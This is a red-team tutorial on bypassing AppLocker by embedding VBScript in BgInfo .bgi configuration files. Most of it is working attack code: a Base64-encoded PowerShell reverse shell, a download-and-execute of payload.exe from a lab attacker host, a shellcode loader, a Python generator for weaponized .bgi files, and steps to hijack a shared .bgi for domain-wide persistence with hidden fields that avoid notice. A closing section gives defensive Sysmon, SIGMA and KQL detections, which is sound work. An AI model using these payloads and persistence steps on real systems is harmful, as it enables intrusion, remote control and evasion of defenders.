AppLocker Bypass — BgInfo VBScript Execution
Scope: Red team / authorized penetration testing. Techniques map to MITRE ATT&CK T1218 (System Binary Proxy Execution), T1547.001 (Registry Run Keys / Startup Folder — persistence variant), and T1105 (Ingress Tool Transfer).
Lab Setup
BgInfo is a Sysinternals utility that many enterprise environments deploy to stamp asset information on the desktop wallpaper. That deployment history is exactly what makes it useful on an engagement. It’s often already present, and where it isn’t, its Microsoft signature gets it through publisher-based AppLocker rules.
VM Stack
┌─────────────────────────────────────────────────────────┐
│ Host Machine │
│ ┌──────────────────────┐ ┌────────────────────────┐ │
│ │ Windows 10/11 VM │ │ Kali Linux VM │ │
│ │ (Target) │ │ (Attacker) │ │
│ │ │ │ │ │
│ │ - AppLocker enabled │ │ - Python HTTP server │ │
│ │ - BgInfo.exe present│ │ - nc / rlwrap │ │
│ │ - Standard user │ │ - pip install olefile │ │
│ │ - Sysmon installed │ │ │ │
│ │ - Audit logging on │ │ 192.168.56.101 │ │
│ │ │ └────────────────────────┘ │
│ │ 192.168.56.100 │ │
│ └──────────────────────┘ │
│ Host-only network: 192.168.56.0/24 │
└─────────────────────────────────────────────────────────┘Windows VM — BgInfo + AppLocker Configuration
1# 1. Download BgInfo from Microsoft Sysinternals
2# https://learn.microsoft.com/en-us/sysinternals/downloads/bginfo
3# Place in C:\Windows\ or C:\Program Files\Sysinternals\ (trusted paths)
4
5# 2. Verify it's Microsoft-signed (key for publisher rule bypass)
6Get-AuthenticodeSignature "C:\Windows\bginfo.exe" |
7 Select-Object -ExpandProperty SignerCertificate |
8 Select-Object Subject, Issuer
9# Expected: Subject contains "Microsoft Corporation"
10
11# 3. Enable AppLocker service
12Set-Service -Name AppIDSvc -StartupType Automatic
13Start-Service -Name AppIDSvc
14
15# 4. Apply and enforce default executable rules
16# gpedit.msc → Computer Configuration → Windows Settings →
17# Security Settings → Application Control Policies → AppLocker
18# Right-click Executable Rules → Create Default Rules → Enforce
19
20# 5. Confirm BgInfo is reachable as a standard user
21# (it lives in C:\Windows\ — matches %WINDIR%\* rule)
22Test-Path "C:\Windows\bginfo.exe" # True
23icacls "C:\Windows\bginfo.exe" # confirm Users have Read+Execute
24
25# 6. Create standard test user
26$pw = ConvertTo-SecureString "Password1!" -AsPlainText -Force
27New-LocalUser -Name "testuser" -Password $pw -FullName "Test User"
28Add-LocalGroupMember -Group "Users" -Member "testuser"
29
30# 7. Enable process creation + script block audit
31auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
32Set-ItemProperty HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging `
33 -Name EnableScriptBlockLogging -Value 1
34
35# 8. Verify BgInfo runs silently (baseline check)
36C:\Windows\bginfo.exe /timer:0 /silent /nolicprompt
37# Should apply default info to wallpaper with no UI shownSysmon Configuration
C:\Tools\Sysmon64.exe -accepteula -i C:\Tools\sysmon-config.xml
# Watch BgInfo-related events
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
Where-Object { $_.Message -match "bginfo" } |
Select-Object TimeCreated, Id, Message | Format-ListAttacker VM (Kali) — Listener, Server, and .bgi Tools
1# Listener for reverse shell
2rlwrap nc -lvnp 4444
3
4# HTTP server for payload delivery
5mkdir -p ~/lab/bginfo && cd ~/lab/bginfo
6python3 -m http.server 8080
7
8# Install olefile for .bgi inspection and patching
9pip3 install olefile
10
11# Install compoundfiles (alternative OLE library)
12pip3 install compoundfilesCreating a Baseline .bgi Template (Required for Python Generator)
On the Windows VM (any session, admin not required):
1. Run: C:\Windows\bginfo.exe
2. Accept the license
3. Click "Fields" → "Custom..." → "New"
4. Name the field: "SysInfo"
5. In the VBScript box, enter the marker string: __PAYLOAD_MARKER__
6. Click OK → OK
7. Click "Apply"
8. File → Save As → C:\Tools\template.bgi
This template is your base. The Python generator patches __PAYLOAD_MARKER__
with the real VBScript payload at generation time.Snapshot
Take a snapshot named "AppLocker-BgInfo-Clean" after all configuration.
Roll back between technique tests to preserve the baseline.Diagrams
Execution Chain — Standard Flow
Attacker crafts malicious .bgi on Kali
(VBScript payload embedded in OLE compound document)
│
▼
.bgi delivered to target
Option A: HTTP download → %TEMP%\update.bgi
Option B: UNC path → \\attacker\share\payload.bgi
Option C: Pre-existing → replace legitimate bginfo.bgi in startup
│
▼
Standard user executes:
bginfo.exe malicious.bgi /timer:0 /silent /nolicprompt
│
▼
BgInfo.exe (Microsoft-signed, trusted path) loads the .bgi
→ Parses OLE compound document
→ Reads custom field definitions
→ Evaluates each field's VBScript via embedded scripting engine
│
▼
VBScript payload executes INSIDE bginfo.exe process
→ WScript.Shell.Run() spawns payload subprocess
→ Or: ADODB.Stream downloads + saves next-stage binary
→ Or: PowerShell subprocess connects reverse shell
│
▼
AppLocker evaluation:
bginfo.exe → lives in %WINDIR%\* → ALLOWED (path rule)
bginfo.exe → Microsoft-signed → ALLOWED (publisher rule)
.bgi file → not an executable → not evaluated
VBScript → runs in-process → not evaluated
powershell.exe (child) → System32 → ALLOWEDAppLocker Coverage Gap
┌──────────────────────────────┬──────────────┬───────────────────────────────┐
│ Component │ AppLocker │ Notes │
│ │ Checks It? │ │
├──────────────────────────────┼──────────────┼───────────────────────────────┤
│ bginfo.exe │ YES — ALLOW │ %WINDIR%\* path match │
│ (C:\Windows\bginfo.exe) │ │ + Microsoft publisher cert │
├──────────────────────────────┼──────────────┼───────────────────────────────┤
│ malicious.bgi │ NO │ Not an executable; │
│ (OLE config file) │ │ AppLocker ignores data files │
├──────────────────────────────┼──────────────┼───────────────────────────────┤
│ VBScript in custom field │ NO │ Runs inside bginfo.exe; │
│ │ │ no process creation to check │
├──────────────────────────────┼──────────────┼───────────────────────────────┤
│ powershell.exe (spawned) │ YES — ALLOW │ C:\Windows\System32\ │
│ │ │ matches default path rule │
├──────────────────────────────┼──────────────┼───────────────────────────────┤
│ Inline PS script content │ NO │ Unless Script Rules enabled │
│ (passed via -EncodedCommand)│ │ (they're off by default) │
└──────────────────────────────┴──────────────┴───────────────────────────────┘
Bypass summary: trusted binary (bginfo.exe) loads a data file (.bgi) that
contains executable logic. AppLocker evaluates the loader,
not the content it processes.BgInfo .bgi File — OLE Structure
malicious.bgi (OLE2 Compound File Binary Format)
│
├── Root Entry (directory)
│ │
│ ├── BgInfo Stream ← primary config data
│ │ │
│ │ ├── Display settings (font, colors, position)
│ │ ├── Built-in field selections
│ │ └── Custom field definitions
│ │ │
│ │ └── VBScript expression ← ATTACK SURFACE
│ │ "Set s=CreateObject(""WScript.Shell""):s.Run ..."
│ │
│ └── [Additional streams: thumbnail, preview, etc.]
│
└── .bgi is read by bginfo.exe; Windows never executes it directly
→ AppLocker has no hook on data file consumption
OLE format == same container as old .doc / .xls files
Tools: olefile (Python), SSView (Windows), strings (quick peek)Persistence Flow — GPO / Startup Hijack
Enterprise BgInfo Deployment (typical):
GPO Logon Script: bginfo.exe \\fileserver\it\bginfo\company.bgi /timer:0 /silent /nolicprompt
│
└── company.bgi → legitimate wallpaper config
Attacker gains write access to \\fileserver\it\bginfo\ (common misconfiguration)
│
▼
Replace company.bgi with weaponized version (same filename)
│
▼
Every user logon in the domain:
GPO fires → bginfo.exe \\fileserver\it\bginfo\company.bgi
→ VBScript in evil .bgi executes
→ Reverse shell / beacon connects back
→ User sees normal wallpaper (add legit fields too)
Domain-wide persistence with no binaries planted and no registry changes.
Cleanup: restore original company.bgiThe Core Idea
BgInfo reads configuration from .bgi files, OLE2 compound documents (the same container format as old Word and Excel files). Inside, it evaluates custom field definitions written in VBScript to collect system information and display it on the desktop wallpaper.
That VBScript execution is the bypass. You can write any valid VBScript into a custom field. BgInfo will evaluate it during its information-gathering pass, entirely inside its own process, before AppLocker ever gets involved. Use WScript.Shell.Run() to spawn a subprocess, ADODB.Stream to download files, or chain into a PowerShell one-liner for a full reverse shell.
The trust chain has three layers working in your favor:
- Path trust —
bginfo.exelives inC:\Windows\, covered by%WINDIR%\*. - Publisher trust — BgInfo is signed by Microsoft Corporation; publisher rules let it through automatically.
- Data file gap — The
.bgifile is a configuration file, not an executable. AppLocker doesn’t evaluate configuration files.
In environments where BgInfo is already deployed at logon via GPO, this becomes persistence. Replace the shared .bgi file and every user logon delivers a shell.
VBScript Payload 1 — Calc PoC
The baseline confirmation. Drop this into the custom field to verify the VBScript is executing before moving to a real payload.
payload_calc.vbs (the VBScript content — goes into the custom field)
Set shell = CreateObject("WScript.Shell")
shell.Run "calc.exe", 0, FalseVBScript Payload 2 — PowerShell Reverse Shell
VBScript constructs and fires a PowerShell reverse shell one-liner. The PS command is passed as a Base64-encoded -EncodedCommand to dodge naive string detection.
payload_revshell.vbs
Dim host, port, cmd
host = "192.168.56.101"
port = "4444"
' Build the PowerShell TCP reverse shell
Dim ps
ps = "$c=New-Object Net.Sockets.TCPClient('" & host & "'," & port & ");" & _
"$s=$c.GetStream();" & _
"[byte[]]$b=0..65535|%{0};" & _
"while(($i=$s.Read($b,0,$b.Length)) -ne 0){" & _
"$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);" & _
"$r=(iex $d 2>&1|Out-String);" & _
"$s.Write([text.encoding]::ASCII.GetBytes($r),0,$r.Length)}"
' Base64-encode for clean delivery (UTF-16LE — what PS expects)
Dim xmldom
Set xmldom = CreateObject("MSXML2.DOMDocument")
Dim elem
Set elem = xmldom.createElement("b64")
elem.dataType = "bin.base64"
' Encode UTF-16LE bytes
Dim bytes()
ReDim bytes(Len(ps) * 2 - 1)
Dim i
For i = 1 To Len(ps)
bytes((i-1)*2) = Asc(Mid(ps, i, 1))
bytes((i-1)*2+1) = 0
Next
elem.nodeTypedValue = bytes
Dim b64
b64 = Replace(Replace(elem.text, Chr(10), ""), Chr(13), "")
' Fire it
Set shell = CreateObject("WScript.Shell")
shell.Run "powershell -nop -w hidden -enc " & b64, 0, FalseListener on Kali:
rlwrap nc -lvnp 4444VBScript Payload 3 — Download and Execute
Pulls a next-stage binary from the attacker’s HTTP server, saves it to %TEMP%, and executes it. No PowerShell involved, just pure COM objects available in any VBScript context.
payload_dnx.vbs
Dim url, savePath
url = "http://192.168.56.101:8080/payload.exe"
savePath = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\svcupdate.exe"
' Download binary
Dim http
Set http = CreateObject("MSXML2.XMLHTTP")
http.Open "GET", url, False
http.Send
' Write to disk
Dim stream
Set stream = CreateObject("ADODB.Stream")
stream.Type = 1 ' adTypeBinary
stream.Open
stream.Write http.ResponseBody
stream.SaveToFile savePath, 2 ' adSaveCreateOverWrite
stream.Close
' Execute, hidden window
CreateObject("WScript.Shell").Run savePath, 0, FalseServe the payload on Kali:
cp /path/to/payload.exe ~/lab/bginfo/payload.exe
python3 -m http.server 8080VBScript Payload 4 — Shellcode via PowerShell Inline Loader
For when you want your shellcode running inside a more controlled process. BgInfo’s VBScript spawns a PowerShell that allocates memory, copies shellcode, and executes. PowerShell is trusted; AppLocker evaluates powershell.exe (allowed) and ignores the inline byte array.
payload_shellcode.vbs
' Generate shellcode bytes with:
' msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.101 LPORT=4444 -f ps1
' Paste the $buf = [byte[]](0x...) output into the PS block below.
Dim psBlock
psBlock = "$b=[byte[]](0xfc,0x48,0x83,0xe4,0xf0); " & _
"# ^^^ Replace with real msfvenom -f ps1 output ^^^ " & _
"$m=[System.Runtime.InteropServices.Marshal];" & _
"$p=$m::AllocHGlobal($b.Length);" & _
"$m::Copy($b,0,$p,$b.Length);" & _
"Add-Type -MemberDefinition '[DllImport(""kernel32"")]public static extern IntPtr VirtualAlloc(IntPtr a,uint b,uint c,uint d);[DllImport(""kernel32"")]public static extern IntPtr CreateThread(IntPtr a,uint b,IntPtr c,IntPtr d,uint e,IntPtr f);[DllImport(""kernel32"")]public static extern uint WaitForSingleObject(IntPtr h,uint ms);' -Name W -Namespace K;" & _
"$mem=[K.W]::VirtualAlloc([IntPtr]::Zero,[uint]$b.Length,0x3000,0x40);" & _
"$m::Copy($b,0,$mem,$b.Length);" & _
"$t=[K.W]::CreateThread([IntPtr]::Zero,0,$mem,[IntPtr]::Zero,0,[IntPtr]::Zero);" & _
"[K.W]::WaitForSingleObject($t,0xFFFFFFFF)|Out-Null"
Dim xmldom
Set xmldom = CreateObject("MSXML2.DOMDocument")
Dim elem
Set elem = xmldom.createElement("b64")
elem.dataType = "bin.base64"
Dim bytes()
ReDim bytes(Len(psBlock) * 2 - 1)
Dim i
For i = 1 To Len(psBlock)
bytes((i-1)*2) = Asc(Mid(psBlock, i, 1))
bytes((i-1)*2+1) = 0
Next
elem.nodeTypedValue = bytes
Dim b64
b64 = Replace(Replace(elem.text, Chr(10), ""), Chr(13), "")
CreateObject("WScript.Shell").Run "powershell -nop -w hidden -enc " & b64, 0, FalseBuilding the Malicious .bgi File
.bgi files are OLE2 compound documents. The cleanest approach is to create a template file using BgInfo’s own UI, then patch in the real VBScript payload programmatically.
Step 1 — Create a Template with BgInfo UI
1. Run bginfo.exe on any Windows machine (admin not required)
2. Accept the EULA
3. Click "Custom..." (bottom-left) → "New"
4. Field name: "SysInfo"
5. In the VBScript expression box, type exactly:
__PAYLOAD_MARKER__
6. Click OK → OK
7. File → Save As → template.bgi
8. Transfer template.bgi to your Kali machineStep 2 — Inspect the Template (Optional but Recommended)
bginfo_inspect.py
1#!/usr/bin/env python3
2"""
3bginfo_inspect.py — Inspect stream structure of a .bgi OLE compound document.
4Usage: python3 bginfo_inspect.py template.bgi
5Dependency: pip install olefile
6"""
7
8import sys
9import olefile
10
11def inspect_bgi(path: str) -> None:
12 if not olefile.isOleFile(path):
13 print(f"[-] {path} is not an OLE compound file")
14 sys.exit(1)
15
16 with olefile.OleFileIO(path) as ole:
17 print(f"[*] OLE streams in: {path}")
18 print("-" * 50)
19 for entry in ole.direntries:
20 if entry is None:
21 continue
22 # entry_type: 0=empty, 1=storage, 2=stream, 5=root
23 type_map = {0: "empty", 1: "storage", 2: "stream", 5: "root"}
24 etype = type_map.get(entry.entry_type, "?")
25 size = entry.size if entry.entry_type == 2 else "-"
26 print(f" [{etype:8s}] {entry.name:<30s} size={size}")
27
28 print()
29 print("[*] Stream contents (hex + ASCII):")
30 print("-" * 50)
31 for entry in ole.direntries:
32 if entry is None or entry.entry_type != 2:
33 continue
34 try:
35 # Build stream path — olefile uses list notation
36 stream_path = entry.name
37 data = ole.openstream(stream_path).read()
38 print(f"\n--- Stream: {entry.name} ({len(data)} bytes) ---")
39 # Hex dump first 256 bytes
40 for i in range(0, min(256, len(data)), 16):
41 chunk = data[i:i+16]
42 hex_part = " ".join(f"{b:02x}" for b in chunk)
43 asc_part = "".join(chr(b) if 0x20 <= b < 0x7f else "." for b in chunk)
44 print(f" {i:04x} {hex_part:<48s} {asc_part}")
45 # Search for marker string (UTF-16LE and ASCII)
46 marker_ascii = b"__PAYLOAD_MARKER__"
47 marker_utf16 = "__PAYLOAD_MARKER__".encode("utf-16-le")
48 if marker_ascii in data:
49 print(f" [!] ASCII marker found at offset {data.index(marker_ascii)}")
50 if marker_utf16 in data:
51 print(f" [!] UTF-16LE marker found at offset {data.index(marker_utf16)}")
52 except Exception as e:
53 print(f" [!] Could not read stream {entry.name}: {e}")
54
55if __name__ == "__main__":
56 if len(sys.argv) != 2:
57 print(f"Usage: {sys.argv[0]} <file.bgi>")
58 sys.exit(1)
59 inspect_bgi(sys.argv[1])Step 3 — Patch the Payload In
bginfo_gen.py
1#!/usr/bin/env python3
2"""
3bginfo_gen.py — Patch a .bgi template with a malicious VBScript payload.
4
5Usage:
6 python3 bginfo_gen.py -t template.bgi -p payload_revshell.vbs -o evil.bgi
7 python3 bginfo_gen.py -t template.bgi -s 'CreateObject("WScript.Shell").Run "calc.exe",0,False' -o evil.bgi
8
9Dependencies: pip install olefile
10"""
11
12import sys
13import os
14import shutil
15import argparse
16import olefile
17
18MARKER_ASCII = b"__PAYLOAD_MARKER__"
19MARKER_UTF16 = "__PAYLOAD_MARKER__".encode("utf-16-le")
20
21
22def load_payload(args) -> str:
23 if args.script:
24 return args.script
25 if args.payload:
26 with open(args.payload, "r") as f:
27 return f.read().strip()
28 print("[-] Provide --script or --payload")
29 sys.exit(1)
30
31
32def patch_stream_data(data: bytes, payload: str) -> tuple[bytes, int]:
33 """Replace marker string (ASCII or UTF-16LE) with payload. Returns (patched_data, patch_count)."""
34 count = 0
35
36 # Try ASCII replacement
37 if MARKER_ASCII in data:
38 data = data.replace(MARKER_ASCII, payload.encode("ascii", errors="replace"))
39 count += data.count(payload.encode("ascii", errors="replace"))
40
41 # Try UTF-16LE replacement
42 if MARKER_UTF16 in data:
43 data = data.replace(MARKER_UTF16, payload.encode("utf-16-le"))
44 count += 1
45
46 return data, count
47
48
49def patch_bgi(template: str, output: str, payload: str) -> None:
50 if not olefile.isOleFile(template):
51 print(f"[-] {template} is not a valid OLE/BgInfo file")
52 sys.exit(1)
53
54 # Work on a copy
55 shutil.copy2(template, output)
56
57 patched_any = False
58
59 with olefile.OleFileIO(output, write_mode=True) as ole:
60 for entry in ole.direntries:
61 if entry is None or entry.entry_type != 2:
62 continue
63 try:
64 data = ole.openstream(entry.name).read()
65 new_data, count = patch_stream_data(data, payload)
66 if count > 0:
67 ole.write_stream(entry.name, new_data)
68 print(f"[+] Patched stream '{entry.name}' ({count} replacement(s))")
69 patched_any = True
70 except Exception as e:
71 print(f"[!] Could not process stream '{entry.name}': {e}")
72
73 if patched_any:
74 size = os.path.getsize(output)
75 print(f"[+] Written: {output} ({size} bytes)")
76 else:
77 print("[-] Marker not found in any stream.")
78 print(" Run bginfo_inspect.py first to confirm marker placement.")
79 os.remove(output)
80 sys.exit(1)
81
82
83def main():
84 ap = argparse.ArgumentParser(description="BgInfo .bgi payload patcher")
85 ap.add_argument("-t", "--template", required=True, help="Path to template .bgi")
86 ap.add_argument("-o", "--output", required=True, help="Output path for weaponized .bgi")
87 ap.add_argument("-p", "--payload", help="Path to .vbs file containing VBScript payload")
88 ap.add_argument("-s", "--script", help="Inline VBScript string (single line)")
89 args = ap.parse_args()
90
91 payload = load_payload(args)
92 print(f"[*] Template : {args.template}")
93 print(f"[*] Output : {args.output}")
94 print(f"[*] Payload : {len(payload)} chars")
95 patch_bgi(args.template, args.output, payload)
96
97
98if __name__ == "__main__":
99 main()Usage:
# Patch with a .vbs file
python3 bginfo_gen.py -t template.bgi -p payload_revshell.vbs -o evil.bgi
# Patch with an inline one-liner
python3 bginfo_gen.py -t template.bgi \
-s 'CreateObject("WScript.Shell").Run "calc.exe",0,False' \
-o evil_calc.bgi
# Inspect before patching (recommended first run)
python3 bginfo_inspect.py template.bgiExecution
Basic Execution (Standard User, No Prompts)
:: Local .bgi
C:\Windows\bginfo.exe evil.bgi /timer:0 /silent /nolicprompt
:: From UNC path (no local disk write of the .bgi)
C:\Windows\bginfo.exe \\192.168.56.101\share\evil.bgi /timer:0 /silent /nolicpromptFlag Reference
| Flag | Effect |
|---|---|
/timer:0 | Apply immediately — skip the countdown dialog |
/silent | No error message boxes — failures die quietly |
/nolicprompt | Skip the EULA dialog |
/log filename | Write errors to file instead of showing dialogs |
/all | Apply wallpaper to all monitors |
Combine /timer:0 /silent /nolicprompt on every invocation. Without them, BgInfo pops a dialog and waits.
PowerShell Wrapper (One-Liner Stager)
# Download .bgi, execute, then delete
$b = "$env:TEMP\sys.bgi"
(New-Object Net.WebClient).DownloadFile("http://192.168.56.101:8080/evil.bgi", $b)
& "C:\Windows\bginfo.exe" $b /timer:0 /silent /nolicprompt
Remove-Item $b -ForceDirect UNC Execution (Nothing Written to Target Disk)
# On Kali — share the .bgi over SMB
impacket-smbserver share ~/lab/bginfo -smb2support:: On target — execute straight from the share
C:\Windows\bginfo.exe \\192.168.56.101\share\evil.bgi /timer:0 /silent /nolicpromptPersistence — Hijacking an Existing BgInfo Deployment
This is the high-value variant. Most enterprise BgInfo deployments follow the same pattern: a GPO logon script runs BgInfo against a shared .bgi file on a network share. If that share has weak ACLs, you own every logon in scope.
Find the Existing Deployment
1# Look for BgInfo in GPO scripts
2Get-ChildItem -Path "\\$env:USERDNSDOMAIN\SYSVOL" -Recurse -Filter "*.bgi" -ErrorAction SilentlyContinue
3
4# Check startup/logon script registry keys
5Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" |
6 Select-Object * | Where-Object { $_ -match "bginfo" }
7
8Get-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" |
9 Select-Object * | Where-Object { $_ -match "bginfo" }
10
11# Check Scheduled Tasks
12Get-ScheduledTask | Where-Object { $_.Actions.Execute -match "bginfo" } |
13 Select-Object TaskName, @{n="Action"; e={ $_.Actions.Execute }},
14 @{n="Args"; e={ $_.Actions.Arguments }}
15
16# Check Group Policy Logon Scripts (requires access to SYSVOL)
17Get-ChildItem "\\$env:LOGONSERVER\SYSVOL\$env:USERDNSDOMAIN\scripts\" -ErrorAction SilentlyContinue |
18 Select-Object Name, FullNameCheck ACLs on the .bgi Share
1# Get share path from GPO / registry / task — e.g. \\fileserver\it\bginfo\
2$sharePath = "\\fileserver\it\bginfo"
3
4# Check if current user can write to it
5$acl = Get-Acl $sharePath
6$acl.Access | Where-Object {
7 $_.FileSystemRights -match "Write|FullControl|Modify" -and
8 ($_.IdentityReference -match $env:USERNAME -or
9 $_.IdentityReference -match "Everyone" -or
10 $_.IdentityReference -match "Authenticated Users" -or
11 $_.IdentityReference -match "Users")
12}
13
14# Quick write-access test
15$testFile = "$sharePath\writetest_$(Get-Random).tmp"
16try {
17 [IO.File]::WriteAllText($testFile, "test")
18 Remove-Item $testFile
19 Write-Host "[+] Write access confirmed: $sharePath" -ForegroundColor Green
20} catch {
21 Write-Host "[-] No write access to $sharePath" -ForegroundColor Red
22}Weaponize the Shared .bgi
1# On Kali: patch the legitimate .bgi with your payload
2# First copy the real one to inspect it, then patch
3
4# Option A: patch the downloaded original
5smbclient //fileserver/it -U "DOMAIN\user%pass" -c "get bginfo\company.bgi company.bgi"
6python3 bginfo_inspect.py company.bgi # find where VBScript goes
7# Add a new custom field to the OLE or patch an existing one
8
9# Option B: generate from your template and rename it to match the original
10python3 bginfo_gen.py -t template.bgi -p payload_revshell.vbs -o company.bgi
11
12# Upload back to the share
13smbclient //fileserver/it -U "DOMAIN\user%pass" -c "put company.bgi bginfo\company.bgi"Operational Notes
Standard user can execute bginfo.exe without elevation. AppLocker allows it, the binary has no elevation manifest, and /timer:0 /silent /nolicprompt means no UI surface for the user to interact with. Clean from a visibility standpoint.
The wallpaper will change. BgInfo updates the desktop background when it runs. Unless you include the same fields as the legitimate config, the wallpaper will look wrong. Add the real display fields to your VBScript payload or preserve them from the original .bgi template.
Avoid alerting on wallpaper anomalies. In environments where BgInfo is legitimately deployed, users and helpdesk will notice if the wallpaper info changes or disappears. Use the persistence variant with a copy of the legitimate .bgi plus your extra hidden custom field. The malicious field doesn’t have to display anything. Custom fields can be evaluated but not placed on the wallpaper.
A hidden custom field: In BgInfo’s field editor, create a custom field with your VBScript but don’t add it to the layout text. It evaluates during the info-gathering pass but outputs nothing to the wallpaper. This is the cleaner persistence approach.
bginfo.exe location matters. If BgInfo isn’t pre-deployed in a trusted path, you need to drop it in one. C:\Windows\ is the cleanest choice, as it’s covered by the default path rule and doesn’t look unusual. Alternatively, if the environment uses Microsoft publisher rules, bginfo.exe passes from anywhere because it’s Microsoft-signed.
Child process visibility. WScript.Shell.Run with window style 0 creates a hidden child process, but Sysmon Event ID 1 will still record it with bginfo.exe as parent. The parent-child chain bginfo.exe → powershell.exe is anomalous and worth suppressing if possible. Use the encoded command approach to avoid obvious PowerShell strings in the command line.
Detection and Blue Team
What to Hunt
BgInfo running with a path to a .bgi file is the baseline event. The threat indicators are:
- BgInfo running from unexpected locations (not startup/logon)
- BgInfo making network connections
- BgInfo spawning cmd.exe or powershell.exe
.bgifiles appearing in user-writable paths (%TEMP%,%APPDATA%, network shares)
Sysmon Event ID 1 — Anomalous Invocations:
<RuleGroup name="BgInfo-Exec" groupRelation="or">
<ProcessCreate onmatch="include">
<!-- Flag bginfo spawning a shell -->
<ParentImage condition="end with">bginfo.exe</ParentImage>
<!-- Flag bginfo executing from a UNC path -->
<CommandLine condition="contains">bginfo.exe</CommandLine>
<CommandLine condition="contains">\\</CommandLine>
</ProcessCreate>
</RuleGroup>Sysmon Event ID 3 — Network Connections from BgInfo:
<RuleGroup name="BgInfo-Network" groupRelation="or">
<NetworkConnect onmatch="include">
<Image condition="end with">bginfo.exe</Image>
</NetworkConnect>
</RuleGroup>Sysmon Event ID 11 — .bgi Files Created in Unusual Paths:
<RuleGroup name="BgInfo-FileCreate" groupRelation="or">
<FileCreate onmatch="include">
<TargetFilename condition="end with">.bgi</TargetFilename>
</FileCreate>
</RuleGroup>Detection Signatures Summary
| Signal | Event ID | Fidelity |
|---|---|---|
| bginfo.exe → powershell.exe parent-child | Sysmon 1 | High |
| bginfo.exe making outbound TCP connection | Sysmon 3 | Very high |
| bginfo.exe running outside logon/startup context | Sysmon 1 | Medium |
.bgi file appearing in %TEMP% or %APPDATA% | Sysmon 11 | Medium |
| bginfo.exe with UNC path argument | Sysmon 1 | Medium |
| Network share .bgi file modification (off baseline) | File audit | High |
Windows Event Log Hunt (PowerShell)
1# Find bginfo process creation events
2Get-WinEvent -LogName Security |
3 Where-Object { $_.Id -eq 4688 -and $_.Message -match "bginfo" } |
4 Select-Object TimeCreated,
5 @{n="User"; e={ $_.Properties[1].Value }},
6 @{n="Process"; e={ $_.Properties[5].Value }},
7 @{n="CmdLine"; e={ $_.Properties[8].Value }} |
8 Format-Table -AutoSize
9
10# Look for child processes of bginfo
11Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
12 Where-Object { $_.Id -eq 1 -and $_.Message -match "bginfo" } |
13 Select-Object TimeCreated, Message | Format-List
14
15# Check for .bgi file modifications on sensitive shares (requires file auditing)
16Get-WinEvent -LogName Security |
17 Where-Object { $_.Id -eq 4663 -and $_.Message -match "\.bgi" } |
18 Format-ListSIGMA Rule
1title: BgInfo Spawning Shell or Network Connection
2id: a3c7f1e2-9b84-4d2a-b5c6-1e8f3a72d091
3status: experimental
4logsource:
5 product: windows
6 category: process_creation
7detection:
8 selection_parent:
9 ParentImage|endswith: '\bginfo.exe'
10 Image|endswith:
11 - '\cmd.exe'
12 - '\powershell.exe'
13 - '\wscript.exe'
14 - '\cscript.exe'
15 condition: selection_parent
16falsepositives:
17 - Legitimate BgInfo deployments that shell out for information gathering
18 (rare; review and whitelist if confirmed benign)
19level: high
20tags:
21 - attack.defense_evasion
22 - attack.t1218
23
24---
25title: BgInfo Network Connection
26status: experimental
27logsource:
28 product: windows
29 category: network_connection
30detection:
31 selection:
32 Image|endswith: '\bginfo.exe'
33 Initiated: 'true'
34 condition: selection
35falsepositives:
36 - None known for outbound TCP connections
37level: critical
38tags:
39 - attack.execution
40 - attack.t1218MDE KQL Query
// BgInfo spawning child processes
DeviceProcessEvents
| where InitiatingProcessFileName =~ "bginfo.exe"
| where FileName in~ ("cmd.exe", "powershell.exe", "wscript.exe", "cscript.exe")
| project Timestamp, DeviceName, AccountName,
FileName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// BgInfo network connections
DeviceNetworkEvents
| where InitiatingProcessFileName =~ "bginfo.exe"
| where ActionType == "ConnectionSuccess"
| project Timestamp, DeviceName, AccountName,
RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessCommandLine
| order by Timestamp descDefensive Recommendations
Inventory and lock down the shared .bgi file:
1# Audit write permissions on the BgInfo share
2$sharePath = "\\fileserver\it\bginfo"
3(Get-Acl $sharePath).Access |
4 Where-Object { $_.FileSystemRights -match "Write|FullControl|Modify" } |
5 Select-Object IdentityReference, FileSystemRights, AccessControlType |
6 Format-Table -AutoSize
7
8# Restrict to IT admin accounts only — remove Users / Authenticated Users write
9$acl = Get-Acl $sharePath
10$rule = New-Object System.Security.AccessControl.FileSystemAccessRule(
11 "Authenticated Users", "Write", "Deny")
12$acl.AddAccessRule($rule)
13Set-Acl $sharePath $aclBlock bginfo.exe via AppLocker Deny Rule if not in use:
# Add a deny rule in gpedit.msc:
# AppLocker → Executable Rules → New Deny Rule → Path
# Path: C:\*\bginfo.exe (catches any location)
# Apply to: Users group (preserve admin access if needed)Enable AppLocker Script Rules to catch VBScript execution:
# gpedit.msc → AppLocker → Script Rules → Create Default Rules → Enforce
# This adds a policy layer that evaluates .vbs, .js, .wsf execution
# Note: BgInfo's embedded VBScript runs inside its own process,
# not as a standalone .vbs — Script Rules won't catch it directly.
# But chained VBScript files (.vbs dropped to disk) will be caught.Hash-lock the legitimate .bgi using AppLocker file hash rules:
# If your environment uses a fixed .bgi, create a hash rule that only allows
# the known-good version. Any modification (payload insertion) changes the hash
# and AppLocker blocks execution.
# gpedit.msc → AppLocker → Windows Installer Rules (for data files) is limited;
# focus on alerting via file integrity monitoring (FIM) on the share path instead.File Integrity Monitoring on .bgi deployment paths:
# Enable auditing on the share directory
$acl = Get-Acl "\\fileserver\it\bginfo"
$audit = New-Object System.Security.AccessControl.FileSystemAuditRule(
"Everyone", "Write,Delete,CreateFiles", "ContainerInherit,ObjectInherit",
"None", "Success")
$acl.AddAuditRule($audit)
Set-Acl "\\fileserver\it\bginfo" $acl
# Then alert on Event ID 4663 (file write) for .bgi files in Security logMITRE ATT&CK
| ID | Name |
|---|---|
| T1218 | System Binary Proxy Execution |
| T1059.005 | Command and Scripting Interpreter: VBScript |
| T1059.001 | Command and Scripting Interpreter: PowerShell (shell payload) |
| T1105 | Ingress Tool Transfer (download-and-execute variant) |
